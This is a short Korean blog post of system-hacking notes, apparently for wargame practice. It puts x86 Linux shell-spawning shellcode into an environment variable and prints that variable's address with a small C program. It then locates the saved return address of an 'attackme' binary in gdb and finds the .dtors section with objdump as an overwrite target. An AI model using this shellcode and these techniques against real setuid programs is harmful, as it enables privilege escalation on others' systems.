/*
* http://sosal.tistory.com/
* made by so_Sal
*/
쉘코드의 주소를 환경변수로 가져올 수 있습니다.
localhost] $ export hkpco=`perl -e 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
int main( void )
{
char *p = getenv("hkpco");
printf( "%p\n" , p );
}
-쉘코드 출처 - http://hkpco.kr/
UnivShellcode - EnvironmentValue
ret값 위치 찾기
attackme라는 프로그램의 ret값이 어느 주소에 위치하는지 찾고싶을 때
localhost] $ gdb ./attackme
(gdb) b main
Breakpoint 1 at 0x80484a3
(gdb) x/x $ebp
0xbffffaf8: 0xbffffb18
bffffaf8 다음 4바이트가 ret값이므로,
bffffafc (bffffaf8 + 4) 가 ret값의 주소입니다.
/*
* break pointer를 main에다 걸었습니다.
*
* b *main과 b main의 차이점
* b *main은 main함수가 시작하기 직전의 위치
* b main 은 main함수의 내부 스택프레임이 모두 형성되고 나서
* 함수에 쓰기위한 지역변수들의 자리를 확보하기 바로 "직전"의 위치
*/
.dtors 위치 찾기
dtors는 소멸자 함수와 같은것인데, 이 주소에 우리가 원하는
쉘코드의 주소를 넣는 형식으로 자주 사용합니다.
localhost] $ objdump -s -j .dtors ./attackme
./attackme: file format elf32-i386
Contents of section .dtors:
80496d8 ffffffff 00000000 ........
위에 나타난 80496d8 + 4 = .dtors의 주소입니다.
'Major Study. > System hacking' 카테고리의 다른 글
시스템 보안 04.악성 프로그램 프로세스 종료 문제 (0) | 2010.11.22 |
---|---|
시스템 보안 03.쉘 환경변수 변경 문제 (0) | 2010.11.22 |
Linux :: RTL 맛보기 (0) | 2010.07.03 |
Gera _ Stack #3 (0) | 2010.04.30 |
Gera _ Stack #2 (0) | 2010.04.30 |